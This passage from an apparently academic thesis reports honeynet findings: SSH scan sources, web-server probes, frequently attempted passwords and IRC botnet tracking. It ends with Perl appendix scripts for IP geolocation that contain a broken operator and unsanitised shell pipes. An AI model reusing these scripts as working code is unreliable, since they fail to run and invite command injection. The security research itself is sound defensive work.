change the source port for repeated connection attempt to a single target. On
the other hand the IP 61.145.118.150 has used 25,846 ports into a single desti-
nation port, further investigation has shown the target port is 22 which was
used for SSH scans. A closer scenario is from another honeypot 128.39.73.225
which has used 24,174 source ports into 5 destination ports (123,137,53,22 and
80), a scanning attempt but to different services.

1http://whatismyipaddress.com/blacklist-check
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Table 5.3: IP Addresses with highest source port usage

IP Address Country Source Port Count
128.39.73.223 Norway 27,783
61.145.118.150 China 25,846
128.39.73.225 Norway 24,174
128.39.73.226 Norway 14,622
222.239.255.64 Republic of Korea 12,737
117.21.182.50 China 12,462
41.74.172.18 Rwanda 6,337
24.201.206.67 Canada 6,003
219.146.8.90 China 5,940
62.117.78.106 Russian Federation 4,034

The next two tables 5.4 and 5.5 show the IP addresses that transferred high-
est number of packets (in the first one ) and high volume of data (in the other
table). As it’s mentioned in the beginning of this section any communication
with the honeypots is malicious and an elevated data exchange shows a mali-
cious communication attempt.

Table 5.4: IP Addresses with highest packet transfer

IP Address Country Source Packet Count
128.39.73.226 Norway 25,280
128.39.73.223 Norway 6,032
91.121.18.123 France 4,591
212.52.164.171 Hungary 3,029
54.228.174.130 United States 485
85.60.17.143 Spain 209
79.114.149.63 Romania 136
69.31.12.24 United States 113
5.14.19.93 Romania 68
54.228.84.64 United States 41
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Table 5.5: IP Addresses with highest data transfer in bytes

IP Address Country Data Transferred (in Bytes)
54.228.174.130 Ireland 567,936
128.39.73.226 Norway 523,804
212.52.164.171 Hungary 223,012
91.121.18.123 France 216,792
128.39.7.223 Norway 213,924
85.60.17.143 Spain 14,212
69.31.12.24 United States 7,840
79.114.149.63 Romania 7,580
5.14.19.93 Romania 4,964
121.183.129.158 Republic Of Korea 4,950

In a previous related research work [47] it was identified that the volume of
probes to a network varies on working days and weekends. The research has
pointed out an increased volume of communication to the honeynet on the
weekends. The local honeynet setup can help in that aspect because it has run
for ample period of time. The total duration was 12 weeks and the data is cat-
egorized in such a way that the number of connection attempts per day and
per hour. The data is grouped in to 7, one for each day of the week. Then
average of the records that are registered on similar days of the week is taken
as assigned to each day. The data shows there was high connection attempt in
the first 3 days (Monday to Wednesday) of week 3. It was completely different
from the traffic observed on the other weeks and to minimize its effect (as it’s
not a normal traffic flow) the 50 Percentile of the connection counts for the 12
weeks is taken and plotted in the graph shown 5.3.

The graph shows a near uniform connection attempt count except on Wednes-
days and it’s not possible to reach into conclusion about an increase in connec-
tion attempts on weekends.

5.2.2 Results from Web Server Honeypots

The local honeynet setup in the school comprised web server honeypots that
were configured to lure attackers reach the web server as well as start probes.
The machines run for 87 days and the collected data shows a very small num-
ber of probes specially when compared to SSH service related probes. The
total number of connection requests was 699 which makes it an average of
8 requests per day. Even if the honeypots have rune for a longer period of
time the mechanisms used might not be found attractive enough for attackers.
There were two websites uploaded and web applications vulnerabilities were
induced through older versions of Joomla, phpMyAdmin and Drupal which
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Figure 5.3: Connection Attempts per Day

are highly targeted by hackers due to repeated identifications of vulnerabil-
ities 1. However IP address were used to access the websites and the pages
were not indexed by search engines. As shown in section 5.1.1 one means the
attackers used to find web sites with vulnerabilities is a search over Google.
Consideration of these issues would have lead to a better result.

The requests that landed at the web servers are categorized as per their re-
quest and 4 types of HTTP requests are detected from the 9 HTTP request
types. The requests are GET, CONNECT, POST and HEAD of which GET was
requested 599 times which is about 86%. Methods like HEAD, GET, OPTIONS
and TRACE are identified as safer and the other methods PUT, DELETE and
POST [66] are dangerous to their potential in affecting web servers by file in-
clusion, code injection or removal of some resources. CONNECT is also dan-
gerous because it’s used to connect to other websites using the victim’s web
server as proxy so that to visit web sites that have limited access or visiting the
websites might have some consequences. The OPTIONS method can also be
dangerous as it is used to request the web server which methods it supports
and it can be a reconnaissance.

The three CONNECT requests detected in the web servers are from an IP in

1http://cve.mitre.org/find/index.html
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Figure 5.4: Daily Webserver Request Count
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Netherlands and the requests were to the website of the FBI, USA. The CON-
NECT method converts the connection request to facilitate SSL encrypted com-
munication and it’s note clear in what way the attackers wants to use the web
server. The POST requests are all registered in one day from a single IP ad-
dress and the request tried to exploit a vulnerability in phpmyadmin which
unfortunately hasn’t succeeded.

The GET requests are grouped into two. The first group contains requests for
resources in the web server and the second group contains requests to other
websites using the web server as proxy. Both group of requests are taken as
probes, because the web server honeypots were not there for any real service.
The majority of local resource requests are to the phpmyadmin directory. The
requests to phpMyAdmin is also targeting similar phpmyadmin related files
but a different case is used because web servers can be set to be case sensitive
with resource requests in the URL part that is after the domain name.
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Figure 5.6: GET requests to local resources
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The remote resource requests target web sites like ”http://www.sciencedirect.com”
and ”http://www.springer.com” that contain resources that are accessible with
subscription or with online payment. The attackers might have been trying
to gain access to such websites through the school network, as colleges are
usually subscribed to such services for the academic community. The request
to the springer web site is specifically to one file as can be seen in the URL
(http://link.springer.com/chapter/10.1007/9783540708926 353) and a visit to
that URL results in ”R3 of Volume 43 ’Crystal Structures of Inorganic Com-
pounds’ of LandoltBrnstein Group III ’Condensed Matter’.”
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Figure 5.7: GET requests to other URLs

5.2.3 Results from Kippo Honeypot

As shown in section 5.1.2 kippo where able to identify passwords and some
commands that run on the emulated shell. In this section a detailed discussion
of the remaining data elements is presented. The analysis here also consid-
ers the results from the other honeynets that run high-interaction honeypots.
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With the initial setup of kippo 3 passwords where set for the root user that are
identified as commonly tried passwords from the background study. From the
total of 14,514 connection attempts, 47% have used ”root” user name which
would be 6821.6 attempts and of these attempts 93 have succeeded.

The pie chart in figure 5.8 shows 25% of the connection attempts used simi-
lar user name and password combinations while the 75% of the attempts are
with a password different from the user name. In the data file it’s found out
that, only one attempt was done to login by the ”root” user account and us-
ing password ”root”. Which completely deviates from the result shown and it
indicates that attackers don’t find it viable to get a password that weak, for a
root account.

Figure 5.8: Usage of similar User name and Password Combinations

Further exploration on the list of passwords was done and as shown in figure
5.9 123456, password and qwerty are on the top list. The list of passwords
identified by kippo have similarities with the list that is release in reference [67]
that identified the worst 25 passwords of 2012. The three passwords ”vlab.iu”,
”vlab” and ”vm106.vlab” from this list are related to HiOA and the attacker
might have been communicating with the school network a prior and know
about the naming used inside the school network.

The graph in figure 5.10 shows the countries of the list of IP addresses that has
been probing and scanning the kippo honeypot. The countries are identified
using geo-IP locators. From a total of 23 countries, the highest connection at-
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Figure 5.9: Frequently Tried Passwords

tempt count was made from China and its value (7.219) is incomparable even
with the runner up United States that attempted only 919 connections.

5.2.4 Results from the Distributed Honeynet Setup

The honeynet setup at the AWS cloud was running 22 machines distributed
over 8 data centers. 16 of the machines are setup two track SSH connection
attempts and send the log to a remote central syslog server that is hosted at
HiOA. The other 6 machines are distributed over 3 locations and thye are
knowingly left vulnerable to lure attackers. For the sake of uniformity and
proper data analysis, the data presented in this section is only collected from
the 16 honeypots that are distributed to in each of the 8 locations. The 8 lo-
cations are N. California, Oregon, N. Virginia, Saopaulo, Ireland, Singapore,
Tokyo and Sydney. This locations represent geographical locations from east
to west. The difference between the locations is not limited to the data center
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Figure 5.10: Connection Attempts Per Country

setup and the IP address used. The locations have different times, with a dif-
ference of upto 17 hours. The difference in location would also affect the level
of targeted attacks as such attacks materialize on spots that the attacker might
get something worth the time and resources. To that end the section of the
analysis focuses on identifying and discussing the similarities and differences
observed from the data.
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The pie chart in figure 5.11 shows the percentage of SSH connections attempts
done to each of the data centers. The data centers in Virginia has entertained
21% of the probes which makes it the highest of all. And the data center in
Tokyo has received 2% of the total number of requests. Considering only this
graph, it’s not possible to reach to conclusion about the factors attributed to
such variations. Going further to to the other graphs might have answers.

The honeypots have been running for 24 days and the connection requests to
all the honeypots aggregated is shown in figure ??. The connection requests
start from the first day which has registered 967 requests. It might seem very
fast but one point to note here is that, the honeypots are assigned IP addresses
from the pool of IPs that are used for the public and it can’t be taken as new
machine at least with respect to the IP address. The graph shows ups and
downs frequently and no pattern is identified if the traffic to the honeypots
has increased or decreased over time.

As shown in the result from section 5.2.3 , 47% of the total connection attempts
to the honeypot machine where with ”root” user name and here the percent-
age of root user name is about 42% which is closer to the result of Kippo. But
the second user name is ” root” which is the same root but preceded by space.
If the two values are considered as similar the percentage would increase to
about 60%.

The next check was done on the time connection attempts are coming to the
machines and see if the data supports the result from kippo which indicates an
increase in probe count during the night. The data from AWS is collected from
16 machines that run for 24 days each and it might be found more appropriate
for such correlations because of the higher volume of data available. A graph
was plotted with the number of SSH connection attempts to the honeypots per
hour. The time used in the honeypots was UTC and it varies from the local
time of all of the data centers and any pattern that would be identified with
respect to the UTC time shall be attributed to major attack sources rather than
the target and as a matter of fact no pattern is found. The second attempt was
to plot the graph vy changing the time in UTC to each machine’s local time a
plot of the data had also no visible pattern that shows correlation between the
time and number of connection attempts.

In order to have a better picture of the traffic flow in each data center, a sepa-
rate graph is plotted for each and is shown in figure 5.12.

Another interesting scenario identified from the data about the SSH connec-
tion attempts is identification of some IP addresses that are spotted by more
than half of the data centers with in a day. The maximum number of data cen-
ters that identify a single IP are 7. But some have been spotted by multiple
data centers for more than on day and some of them only one day. The graph
in figure 5.13. The graph is plotted in two colors the darker one represents
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how many days a particular IP address has been spotted by multiple regions
and the lighter bar indicates the number of regions that spotted the IP address.
Those IP addresses where checked if they are using IP-any cast which allows
multiple machine located in different locations to use a similar IP address. To
check that ”traceroute ” was executed from different locations and the output
of ”traceroute” doesn’t indicate any implementation of IP any cast. The next
step was checking if the IP addresses have been spotted by the honeypots in
the local setup and they are not found in the log. This could possibly be a tar-
geted scan to instances on Amazon which makes it feasible for most attackers
to scan the address space with in a day.
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Chapter 6

Discussion

”The survival of cuckoo’s chicks depends on the ignorance of other species”
From the book - The Cuckoo’s Egg: Tracking a Spy Through the Maze of

Computer Espionage by Cliff Stoll

6.1 Results

The honeynet setup has made it possible to collect data related to SSH scan-
ning and web application related attacks and probes. From failed and/or suc-
ceeded attempts it was possible to illicit information such as attack patterns
with respect to -

• geographical locations of source and destination IPs,

• timing related information,

• frequency of incoming as well as outgoing connection attempts,

• recent trends with respect to targeted user names and passwords.

More detailed analysis on the attack attempts that succeeded, has given bet-
ter understanding of potential attackers and the tools they use to affect the
integrity and security of legitimate systems. On the parts of the data analysis
that required more granularity, additional explorations were done such as -

• In the scripts and programs that are intercepted from the honeypots,
static code analysis was done to see the content and how it can harm
the systems.

• In some situations, dynamic analysis of the scripts was done in a separate
sand-boxed environment and/or on the compromised machines to check
the effect on the systems’ state.

• In order to make sure if the bots are new or existing ones the files were
copied to a machine with antivirus software and some were identified
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by the scanner while others have passed the check. Although that might
not confirm the bot is new, its ability to pass unnoticed by some of the
antivirus tools shows the potential of the bot to cause harm.

As shown in section 2, low and medium interaction honeypots can easily be
identified by attackers and it might be possible that the attackers release wrong
tools to fool such traps. However, real systems were used as a decoy and the
services running or the environment provided were real. There was no techni-
cal matter that certainly indicates the deceptiveness of the traps. Specially on
the local Honeynet setup, the logging and controlling mechanisms were also
done at the Honeywall machine which is configured as a transparent bridge
between the external network and the honeypots. This made it possible to
collect high volume data that is more reliable than what can be found from
noticeable low and medium interaction honeypots.

The data collection was done at the required level of detail except that the key
logging functionality wasn’t in place. The honeywall CDROM that is used
in the local honeynet setup is capable of logging key strokes using Sebek, a
client/server kernel key logger. A reasonably enough time was spent to in-
stall Sebek client on the honeypots but the attempt didn’t succeed because
the tool has no latest version after its release in 2005 [53] and that was not
found compatible with OS versions that is in use on the honeypots. Getting
back to a compatible OS version might incur kernel level compromises due to
lack of enough security patches in older OS versions. In addition, some re-
searchers have identified detection methods of Sebek installation based on its
traces [32][63]. Due to these reasons, usage of Sebek is left undone. A ker-
nel level key logging tool is extremely advised for future works as its output
worth the time spend on implementing it. The implementation of kippo low-
interaction honeypot in the local honeynet setup is a good show case for the
power of key logging capability in honeynets. With kippo it was possible to
collect passwords from ssh logging attempts and commonly used commands
once attackers gain access to a system.

The volume of data collected about web-server attacks is dramatically lower
than what was collected about SSH scan related attacks. At a first glance, one
can understand the difference in the volume of scans or probes targeting web
and SSH services. The nature of the two services has also an impact; most
servers are accessible through SSH service including web-servers. The second
factor is the effectiveness of the web-server honeypots to lure more attacks.
More web related attacks can materialize by deploying more websites and web
applications that are vulnerable to different attacks such as code injection and
cross site scripting. Getting the websites indexed by Google or other search
engines is also another step that makes it more accessible and known for the
public through search query results.
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The data collected from the honeypots in the AWS was basically on SSH scans
and attacks that arisen from such probes. That made it possible to answer
some questions like major scan sources and destinations locations. With re-
spect to timing, the result from the honeypots located at HiOA shows more
attempts at night starting from 20:00 compared to the day time scan volume.
From the honeypots on AWS, such correlation wasn’t identified. The timing
was considered in reference to the targets local time as well as the standard
UCT time, but both couldn’t lead to conclusions. Considering the source time
might give an answer for such questions. The geographical coverage of scan
targets from specific machines was also analyzed and some IP addresses were
spotted on all locations in the distributed honeynet setup; that shows intercon-
tinental outreach to raise eyebrows. To make sure the phenomenon are from a
single machine making such probes or its collections of machines sharing same
IP address by using IP any-cast, ”traceroute” checks were done to the IPs from
different instances to see if they all end up to similar geographical locations.
None of the spotted IP addresses are found to be using IP Any-cast. Then
the IP addresses were checked in the logs of the local honeypots and weren’t
found. This slightly indicates the attackers might have been mainly targeting
the AWS cloud, but wasn’t able to reach into conclusions.

Another important step was the attempt made to intercept the botnets. From
the communication traffic and the spotted scripts, IRC related information like
Server name or IP, Channel name, Nick name and Ports were extracted and
by manually logging to the networks using mIRC software, the botnets have
been identified. This can be a first step for further actions on such botnets.
In 2010, Microsoft had won a court-issued take-down order against scores of
domains associated with controlling the spam-spewing ”Waledac botnet” 1.
Such actions are possible by identifying and confirming the maliciousness of
the botnets that run along with legitimate servers and networks on the same
IRC communication network.

Some of the attackers have gained access to the machines but didn’t show up
again until the time of this writing. The attacker might be keeping the account
to use it at a later point in time and affect the integrity and security of the
system in a stealth manner. Running honeypots for longer period of time has
advantages to track such kind of attackers.

6.2 The Plan and the Trade-offs

The conceptual model shown in 3.1 is designed by considering the importance
of distributing honeypots in wider geographical locations. Due to the longer
time it took to gain access to the AWS cloud the distributed honeynet setup

1http://www.securityfocus.com/news/11578?ref=rss
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has not run for a longer period of time and the restrictions in that environment
didn’t allow options that could have yield a better result. However, the hon-
eynet at the HiOA has run for a reasonable duration and by the time access
was gained to the AWS cloud, the author’s experience from the local honeynet
setup, had helped to efficiently utilize the time.

The deployment of honeynets needs consideration of a number of stake hold-
ers and interests. Trade-offs between security of the network environment and
the need to get more data are also imminent. The more control mechanisms
are in place (like firewalls, limitation of injected vulnerability and lower extru-
sion tolerance), the less likely attacks can materialize and/or detected. This
can make the surrounding network safer but limits the level of information to
collect. The less control mechanisms are in place, the higher the level of in-
formation to collect (as the attackers get it easy to break in and try to make
extrusion attempts) but with an increased risk of honeypots used as attack
agents by the attackers. There was also no control over the network of the dis-
tributed honeynet and some security mechanisms in place seemed to endure
the expected volume of attack probes. Most of the design decisions in this the-
sis work have taken such trade-offs into consideration, which has elevated the
level of complexity.

Because of the move to implement the local honeynet at earlier time, the amount
of data collected about failed as well as succeeded attack attempts was found
enough to make conclusions. But the length of time the distributed honeynet
was availed isn’t long enough to collect the expected volume of data and en-
tertain more attack occurrences.

6.3 Overview of The Process

The background study in the area of honeynets and the timely importance
of dealing with security incidents has raised the need and importance of de-
ploying a distributed honeynet. To address this, a conceptual model is de-
signed which was planned to be implemented as a Client/Server architecture
in which the honeypots will be distributed in to different geographical loca-
tions and controlled centrally. Given the allocated time for the thesis work
and the level of resource in the author’s vicinity, the HiOA network and the
AWS infrastructure were the candidates for implementation.

The implementation of the model at the HiOA network, which is referred as
Local Honeynet, was done in good time and it was possible to collect reason-
able amount of data to make intelligent analysis and give insight on the way
forward. The local honeynet setup was a full fledged honeynet as shown in
the lab setup section of figure 3.3. In the honeynet setup at the AWS cloud, the
level of control was limited due to the security requirements and the accept-
able use policy at Amazon [61]. There was also short period of time left for the
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thesis work by the time access was given to the instances and some implemen-
tation trade-offs were inevitable including limiting the number of instances,
the level of data to be collected and the devised mechanisms that could lure
more attackers; as it was done in the local honeynet (section 3.4). More dis-
cussion on trade-offs is presented in section 6.2. For future similar implemen-
tations, a better working environment has to be established by requesting the
responsible parties or getting another similar working environment.

To collect logs from the honeypots to a central remote syslog server, the de-
fault Linux ”rsyslog” tool was used. In order to increase the security of the log
communication, certificates could be used so that the client machines will be
authenticated to the rsyslog server using keys. One machine was configured as
a certificate authority so that is uses a self signed certificate. Then the rsyslog
server and the clients had their certificates signed by the certificate authority
(CA). It was tried to setup secure communication in that way but the logging
didn’t run smoothly and the logging has fallen back to the default rsyslog con-
figuration in which only IP/FQDN based Access Control mechanism was in
place. Another option was to use MySQL database by creating database that
is password locked. The weakness in this option is the password is written
in the rsyslog.conf file in plain. Such implementations in honeypots don’t in-
crease security because attackers are expected to gain access to the systems
and shall be considered as insiders.

In an effort to achieve some keylogging, as no up to date tools were found, an
attempt was also done to remotely log shell commands by using the ”.bashrc”
file of users and the ”rsyslog” configuration as shown in section 4.1. This way
commands typed on the shell can be remotely logged in real time. The setup
has collected commands used by an intruder on one of the compromised ma-
chines in the distributed honeynet. In other similar compromised machines,
no keystrokes were logged. This could be because the intruders have identi-
fied the presence of the mechanism or the successful log-ins where from auto-
mated scanning scripts that probe machines and report successful attempts so
that the human attacker uses the credentials at later time.

6.4 Originality of The Thesis Work

Although the research using honeypots have been in place for more than two
decades, the background study has shown that the focus was setting up hon-
eynets in closed networks. Some implementations of the distributed design
deployed low and medium interaction honeypots. Most low and medium in-
teraction honeypots are becoming known by attackers with their traces. The
level of information collected from such honeypots won’t usually go deeper
than the data to be used for statistical consumption. Today, the world is more
connected than ever given the penetration level of data network capable com-
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puting machines, and the increase in the usage of the cloud for various ser-
vices. A wider view of security related phenomenon is very helpful in devising
mechanisms like early warning systems for zero day vulnerabilities or timely
detection of malware distributions. Distributed honeynet approach provides
a means to collect information about the global attack landscape and gives a
wider view of both location specific and global level probes and mechanisms
from attacks that can possibly materialize on the honeypots.

Some honeynet implementations like HoneyPharm, have distributed honey-
pots but using low or medium interaction honeypots only. The idea behind
the darknet is also a notable move towards global outreach of low interaction
honeypots but it provided a data collection framework by only tracing probes
to unassigned/unused IP addresses. Recent discoveries of security threats like
the Stuxnet , Chamelon Botnet and the skype bit-coin botnet by security firms,
also show it is an actively running area or research or industrial solution. How-
ever, to the sensitivity of security issues or due to the companies’ information
disclosure strategies, detailed information is not publicly available.

As it’s shown in section 2.1.4.1 the interaction level of honeypots have bigger
impact on honeynet implementations. Considering that, the distributed high-
interaction honeynet setup from this thesis work is a a novel approach. The
honeypots were hosted in the cloud with a geographical coverage spanning 5
continents. This has provided a rich pull of IP address spaces that can increase
the geographical presence. The establishment of the honeynet on the cloud has
also its own advantage to the cloud technology; which requires duo consider-
ation of security issues. As the cloud is claimed for its potential to transform
the large part of the IT industry [28], it is a focus of the black-hat community
that try to leverage its potential for the sake of their malicious intent. The IP
addresses spotted in 7 of the 8 locations of the honeypots can also be a show
case from that aspect. None of the addresses from that list were not found in
the local honeynet. Considering these facts, research on a distributed honeynet
is found to be viable and opens a venue for future related research work.

6.5 Holistic View

Given the attack landscape in today’s Internet, it doesn’t need much effort to
get pieces of information about attack probes coming to one’s network. For
production environment, an immediate solution from such probes is usually
walling the boundary and hope that they won’t by-pass the mechanism in
place; as God’s hands are sometimes attributable to vulnerabilities. The back-
ground study has shown different attempts to give a decoy playground for
perpetrators, along side production networks, so that to spend the resources
of attackers. This a pragmatic approach that is hailed by professionals in the
area of security and system administration. Another approach is usage of re-
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search honeypots that can give telescopic view of the enemy behind the visible
line, by using advanced and more complex form factors.

Research using honeypots have been in place since the 80’s but the format and
complexity of the models have undergone a series of advancements to stay fit
with the intelligence and technical capability of the parties that are targeted by
the traps. Intelligence of the attackers is demonstrated in two broader ways -
First with respect to understanding the target system’s weakness and be able to
come up with an exploit and second with respect to understanding the control
mechanism in place and be able to fool that. The second dimension has di-
rect relationship with the usage of honeypots. As shown in section2, different
honeypot tools have became noticeable by attackers in a reasonable amount
of time and the attackers have devised mechanisms to deceive the deceiver.
That can be attributable to the lack of uptodate and publicly available tools to
maximize the output of research using honeypots. Recent discoveries of secu-
rity threats like the Stuxnet , Chamelon Botnet and the skype bit-coin botnet
by security firms however show it’s an actively running area or research or
industrial solution and will continue to be the same.

Security Professionals, Network Administrators and even day to day com-
puter users can get the outputs of the research helpful in their own way. The
anomalous behaviors and the attack patterns are very important to the pro-
fessionals in the area and whose day to day activities included protecting a
system from the enemy. Researchers and practitioners in Security can get so-
lutions to some problems in honeynet deployment and it also helps in making
informed decision about the pros and cons of the approach used here. The
attacks that materialized in the honeypots, added to the list of timely security
issues raised in the background and introduction sections, are living show-
cases to all.

As a scientific research work, it has identified two venues for the journey
ahead. The first venue is the possibility to do a similar or closer experiment.
The hardware and software resources utilized were either freely available or
granted from HiOA. The scripts produced by the author are all in the appen-
dices section of this report. Using the available resources and the suggested
system model it’s possible to repeat the work and of course go deeper, learn-
ing from what is already done. The second venue is a branched one and can
lead to answer the questions raised and solve the problems identified in the
due course of this research work. The need to cop up with the intelligence and
technical capabilities of the parties that are targeted by the traps is inevitable.
Deployment of distributed and high-interaction honeypots is a novel approach
to deal with such complexities. Strengthening or falsifying hypothesis like ef-
fect of location and time with the volume of probes and attacks, deployment
of home-made kernel key logger, methods to take-over botnets, ways to de-
ploy a full fledged distributed honeynet entertaining the capabilities of tools
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like HoneywallCDROM on the cloud can be an immediate extension for this
research work.

6.6 Future Work

In the due course of the research unforeseen problems have been faced and
new questions were popped up. Having experienced the challenges as well
as considering the importance of dealing with some problems the author sug-
gests further research work in the following domains :

1. Having Kernel key logger tool is an important part of research on hon-
eynet that enriches the data collection experience. The attempts made to
log keys have partially worked to maximize the impact of the research
and a complete key logging facility would have maximized it.

2. The Honeywall CDROM which was used to log network traffic informa-
tion has a web interface that enables close follow up of the status of the
honeynet. Enhancing the Walleye web interface to be more interactive
in data retrieval and display is also an important step. The Honeywall
machine logs detailed traffic information and having the means to work
with the data in a more flexible manner will be a potential project with
greater impact.

3. Devising mechanisms to identify malicious servers on IRC network and
dismantling their botnets would require a thorough analysis of how the
networks are built and managed. Doing research using honeynets with
a primary intent of tracking botnets is another direction.

4. The data collection and analysis has identified from which countries at-
tacks are originating. But further investigation in this research has lead
to a hypothesis that those sources would also be victims of a prior attack.
Future work to accept or nullify this hypothesis is an important step.

5. Due to the limited control the author had in the distributed honeynet
setup, the critical components used in the local honeynet setup were not
used. Deploying such full fledged honeynet in the cloud or in location
from different corners of the world by collaborating with other academic
institutes or R&D can be one future direction.

6. Creating an automated data collection, reporting and sharing framework
for distributed honeypots is an important step that would help System
Administrators, Security Professionals and Researchers in the area. It
also helps to identify newly born botnets at their early stages.

7. This research work was focused on implementation of honeypots on
Linux platforms and the same or enhanced experiment can be done for
other platforms.
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8. Having a diversity of honeypots such as multiple OS, variants of of the
OS distributions, different flaws, more services like ftp, vnc, rdp, etc
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Chapter 7

Conclusion

The problem statement for this thesis was to devise a mechanism to effectively
elicit information about attackers and use the collected information in a way
that can help in strengthening security of systems. A distributed honeynet
model is found viable to answer the question and honeypots were setup to
run in a distributed network whose geographical locations span 5 continents.
This have enriched the data collection experience. The AWS cloud was used
to deploy the instances whose security requirement and acceptable use policy
have limited the potential of High-interaction honeypots to some extent. The
honeypots hosted in HiOA network run in a full fledged honeynet, in which
the honeypots were walled from the external network using the Honeywall
machine which was placed as transparent firewall and run all the security re-
lated services. The setup has given more space for attackers to use the hon-
eypots freely and more detailed result was found from that. In the following
enumerated list, answer is given to the questions raised in section 1.2.

1. In both setups the most dominating probes or attacks target SSH service.
The user names commonly tried are similar. The pattern in which the
attackers use different IP addresses for scanning and to log to the ma-
chine once they succeed is noticed in compromises from both setups. In
the distributed honeypots some IP addresses were spotted in 7 of the 8
regions which were not found in the local honeypots that indicates the
possibility of targeted attack on AWS.

2. A reasonable amount of information about attackers and their mecha-
nisms can be collected by setting up a honeynet in which the data collec-
tion and security related issues will be done on a transparent bridge and
the honeypots are set to run with no access restriction. To get more web
server related attacks and attack mechanisms, deployment of more web
applications with known vulnerabilities. Sideline consideration of de-
ploying database servers can increase the amount of data to be collected
as the results from the web server honeypots show attackers leaning to-
wards database driven applications, in which case they might assume
access to the db server will lead to data with better value that what they
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can find in the web sites directory.

3. The major design and implementation trade-off the author faced is the
decision to set the vulnerability limit of the honeypots. With respect to
implementation, the selection of the Honeywall tool for data collection
and bridging was preferred than other possible candidates such as re-
mote system logging server and a separate bridge to connect the honey-
pots to the external network. The absence of kernel level key logger has
also lead to trade-offs between not using a detectable command logger
or not using at all. In the AWS setup, the implementation trade-off was
on the implementation of a security solution on the honeypots in which
the attacker can destruct if root account or kernel compromise occurs.

4. Data about adversary shall be collected to make the trace back easier and
keeping any of the tools that are laid in the decoys and logs is crucial as
it reveals how the the attackers or their scripts work. Key logging is also
found very important which would expose the attacker’s action reliably.

5. The collected data is analyzed and presented in this paper. The findings
can be used as an input for good system administration advises. For in-
stance, the majority of SSH scans target the default port 22 and changing
the port will highly minimize the probes. Usage of user names that are
not commonly tried by attackers can also minimize the risk of brute-force
attacks. From the scripts and probes attackers made to a system it’s pos-
sible to know how much information can adversaries illicit and a means
to block such leaks will increase the security of the system. Having all
the results from the thesis work one can devise a mechanism to protect a
system at least from similar incidents.
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.1 Appendix A

This Script is used to get the geographical location of IP addresses. The script
checks from 3 IP geo-location service providers to make the result more reli-
able. When there is discrepancy between the results, it takes the location that is
resulted from 2 of the service providers. If all are different, it’s made to take the
result from the http://www.whatismyipaddress.com whose result is found to
usually be accurate in the author’s manual check up of known IP addresses.

Listing 1: Perl Script to Find Geographical Location of IP Addresses
1 #!/usr/bin/perl

2 ##########################################################

3 ###THIS SCRIPT IS USED TO GET THE GEOGRAPHICAL ######

4 ##### LOCATION OF GIVEN IP ADDRESSES ######

5 ###### FOR THE SAKE OF BUNCH IP ADDRESS CHECKUP ######

6 ######### IT IS MADE TO ACCEPT FILE CONTAINING ######

7 #############IP ADDRESSES INSTEAD OF SINGLE IP ######

8 ##########################################################

9 use Getopt::Std;

10 my $opt_string = ’f:’;

11 getopts("$opt_string", \my %opt) or usage() and exit 1;

12 usage() and exit 0 unless $opt{’f’};
13 my $FILE_NAME =$opt{’f’};
14 my $country1;
15 my $country2;
16 my $country3;
17

18 open(FILE, "$FILE_NAME") or die "Error; $!\n";
19

20 while(my $line =<FILE>){

21 chomp($line);
22 if ($line =~ /^(\d+\.\d+\.\d+\.\d+)/g){

23 chomp();

24 get_geo_Location($1,$PRINT_COUNTRY ,$PRINT_CITY );

25 }

26

27 }

28 close FILE;

29

30

31 sub get_geo_Location{

32 open(GEO, "wget -O - -q http://www.geoiptool.com/en/?IP=$_[0] |");

33 my $line;
34 while($line = <GEO>){

35 chomp($line);
36 if($line =~ /Country:/ and $_[1]){
37 $line = <GEO>;

38 chomp $line;
39 $line =~ s/<\/a>.*$//;
40 $line =~ s/^.*> //;

41 $country1= $line;
42 }

43 }

44
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45 close(GEO);

46

47 open(GEO2, "wget -O - -q http://www.whatismyipaddress.com/$_[0] |");

48 while($line2 = <GEO2>){

49 chomp($line2);
50 if($line2 =~ /Country:/ and $_[1]){
51 $line2 =~ /.+Country:.+td\>(.+)\s\</;

52 $country2= $1;
53 }

54 }

55 close(GEO2);

56

57 if ($country1 !eq $country2 ){#Third check is requried if there is a differnce ⤦

Ç in the first two results

58 open(GEO3, "wget -O - -q http://www.db-ip.com/$_[0] |");

59 my $line3;
60 while($line3 = <GEO3>){

61 chomp($line3);
62 if($line3 =~ /Country/ and $_[1]){
63 $line3 =~ /.+Country.*td\>(.*)\s&/;

64 $country3= $1;
65 }

66 }

67

68 close(GEO3);

69 if($country2 eq $country3){#If the second and third results are the same so ⤦

Ç there value will be used as final result

70 $country1=$country2;
71 }

72 }

73 print "$country1\n";
74 }

75

76 sub usage {

77 print " The -f option is used to give file name parameter \n";

78 print " Please give the file name in which the IP addresses are stored\n";

79

80 }
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.2 Appendix B

Listing 2: Perl Script to Find Processes Faking Location
1

2

3

4 #!/usr/bin/perl

5 use strict;

6 use feature ":5.10";

7

8 my $hostName;
9 my $ip;

10 my @apps;

11 my @files;

12

13 open (CONF, "cat servers.cfg |") or die "No hostname file: $!";
14 while (my $line = <CONF>){

15 chomp($line);
16 if (($line ne "SERVER:") && ($line ne ’’)) {

17

18 $line =~ /^\s+(.*)\s+\d+/;

19 $hostName = $1;
20 $line = <CONF>;

21 chomp($line);
22 $line =~ s/^\s+//;

23 @apps = split(/,/,$line);
24 print "$hostName : \n";

25 check ($hostName, @apps);

26 }

27 }

28

29

30 sub check ( my $hostName, my @apps ){

31 foreach my $apps (@apps) {

32 $apps =~ s/^\s+//;

33 $apps = $apps.’:’;
34 print ".............$apps\n";
35 open (APPS, "apps.cfg") or die "No hostname file: $!";
36 my $finish2 =1;

37 while ((my $line = <APPS>) && ($finish2)) { # && ($enter ==0)){

38 chomp($line);
39 $line =~ s/^\s+//;

40 if ($line eq $apps) {

41 my $finish = 1;

42 while ($finish){
43 $line = <APPS>;

44 chomp($line);
45 last unless defined $line;
46 next if ($line eq ’’);

47 if ( $line =~ /.*:$/){
48 $finish =0;

49 $finish2=0;
50 }

51 else {

52 print "......................$line\n";
53 }
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54 } #end of inner while loop

55 } #end of if statement

56 } #end of outer while loop

57 close (APPS);

58 } #end for loop

59 } #end of check subroutine
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